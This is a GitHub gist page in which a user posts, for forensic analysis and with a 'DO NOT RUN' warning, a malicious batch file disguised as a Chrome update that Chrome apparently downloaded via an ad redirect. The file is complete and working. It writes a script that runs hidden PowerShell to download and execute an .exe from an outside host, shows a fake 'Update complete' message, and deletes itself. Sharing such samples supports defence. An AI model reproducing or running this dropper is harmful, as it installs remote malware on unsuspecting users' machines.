Skip to content

Instantly share code, notes, and snippets.

@IQAndreas

IQAndreas/chrome_update.bat

Created July 16, 2016 14:36
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save IQAndreas/61f04b9ff36ba13ba461740f2d153240 to your computer and use it in GitHub Desktop.
Save IQAndreas/61f04b9ff36ba13ba461740f2d153240 to your computer and use it in GitHub Desktop.
Download ZIP
DO NOT RUN! This is malware. This batch file was automatically downloaded by Google Chrome from a website when it redirected to an advertisement. Posted here for forensic analysis.
Raw
chrome_update.bat
@echo off
echo a=new ActiveXObject('Wscript.Shell');a.run("PowerShell -WindowStyle Hidden $d=$env:temp+'\\2a8e4da7858ebc8a788b7e303e06ab57.exe';(New-Object System.Net.WebClient).DownloadFile('https://ahsunachatdesign.net/17/528.dat',$d);Start-Process $d;[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');[system.windows.forms.messagebox]::show('Update complete.','Information',[Windows.Forms.MessageBoxButtons]::OK, [System.Windows.Forms.MessageBoxIcon]::Information)",0,false); >"%temp%\install_flash.js"
start /min "" wscript.exe "%temp%\install_flash.js"
DEL "%~f0
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment